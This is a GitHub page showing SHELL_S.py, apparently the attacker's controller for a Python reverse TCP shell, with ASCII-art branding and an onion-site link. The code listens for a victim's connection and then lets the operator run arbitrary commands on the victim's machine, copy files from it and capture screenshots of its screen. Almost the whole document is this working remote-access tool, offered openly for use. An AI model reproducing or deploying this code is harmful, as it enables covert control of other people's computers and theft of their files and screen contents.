-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathSHELL_S.py
More file actions
100 lines (79 loc) · 5.1 KB
/
SHELL_S.py
File metadata and controls
100 lines (79 loc) · 5.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/python3
try:
import base64, binascii # importing need libs
import libs.clib as clib
from socket import *
from PIL import ImageGrab, Image
except : # if system dose does not have any of this libs throw an error
print("ERROR: Run pip install --user --requirement requirements.txt")
Intro = r""" # our intro asci art
. . . . . . . . . + .
. . : . .. :. .___---------___.
. . . . :.:. _".^ .^ ^. '.. :"-_. .
. : . . .:../: . .^ :.:\.
. . :: +. :.:/: . . . . . .:\
. : . . _ :::/: . ^ . . .:\
.. . . . - : :.:./. . .:\
. . . :..|: . . ^. .:|
. . : : ..|| . . . !:|
. . . . ::. ::\( . :)/
. . : . : .:.|. #### . ##### ::|
:.. . :- : .: ::|.####### ..########:|
. . . .. . .. :\ ######## :######## :/
. .+ :: : -.:\ ######## . ########.:/
. .+ . . . . :.:\. ###### ######..:/
:: . . . . ::.:..:.\ . . ..:/
. . . .. : -::::.\. | | . .:/
. : . . .-:.":.::.\ ..:/
. -. . . . .: .:::.:.\. .:/
. . . : : ....::_:..:\ ___. :/
. . . .:. .. . .: :.:.:\ :/
+ . . : . ::. :.:. .:.|\ .:/| -> TITLE : ReverseTcpShellDotPy
. + . . ...:: ..| --.:| -> Coded : Cy4nGuy
. . . . . . . ... :..:.."( ..)" -> SITE : cy4nxsbtnk3e5wy5.onion
. . . : . .: ::/ . .::\ -> GITHUB : github.com/cy4nguy
"""
Server = socket(AF_INET,SOCK_STREAM) # setting up a TCP connection
HOST = "YOUR IP" # our system IP address
PORT = 4556 # random port that is not in use
Server.bind((HOST, PORT)) # binding IP and port
Server.listen(1) # waiting for the user to connect
print(clib.text(f"[*] {HOST}:{PORT} > listening").Color()) # if we got connection show target IP
Client, Addr = Server.accept() # our client and client info module and accepting the connection
print(clib.text(Intro).Art()) #showing our intro art
while True: #start while True
print(clib.text("[*] ServerSHELL > ").Color(), end="") # ask the user for command
Shell_User = input() # Get the command
L_Shell_User = Shell_User.split(" ") # convert command to list
if Shell_User == "quit": # if user said quit
Client.send(bytes(Shell_User, encoding="utf-8")) # send quit request to client
quit() # end then quit
elif L_Shell_User[0] == "file": # if user went to get file form client
if L_Shell_User[1] == "get":
Client.send(bytes(Shell_User, encoding="utf-8")) # send request to client
FileDate = binascii.a2b_base64(Client.recv(1073741824)) # get file date in base60
with open(f"Copy_{L_Shell_User[2]}", "wb") as File: # save the date in file
File.write(FileDate) # write file
elif L_Shell_User[0] == "showScreen": # if user went to get screnshot form client
Client.send(bytes(Shell_User, encoding="utf-8")) # send request to client
FileDate = binascii.a2b_base64(Client.recv(1073741824)) # open file
with open(f"Screen.png", "wb") as File: File.write(FileDate) # save file date as png
Image.open("Screen.png").show()
elif L_Shell_User[0] == "help": # if user entred invalid command or asked for help
print(r"""
_ _
| |_ ___| |_ __
| ' \/ -_) | '_ \
|_||_\___|_| .__/
|_|
1 -> file get FILENAME.png | get files form user
2 -> command YourCommand | run command on user
3 -> showScreen | show screeshot from user
4 -> chdir path\somewhare | change the directory
5 -> path | show current directory(path)
6 -> back | Go one directory back
""")
else:
Client.send(bytes(Shell_User, encoding="utf-8")) # if user didnt entred any command send raw command
Client_R = str(Client.recv(1024), 'utf-8') # if user didnt entred any command show raw command
print(Client_R) # print client respond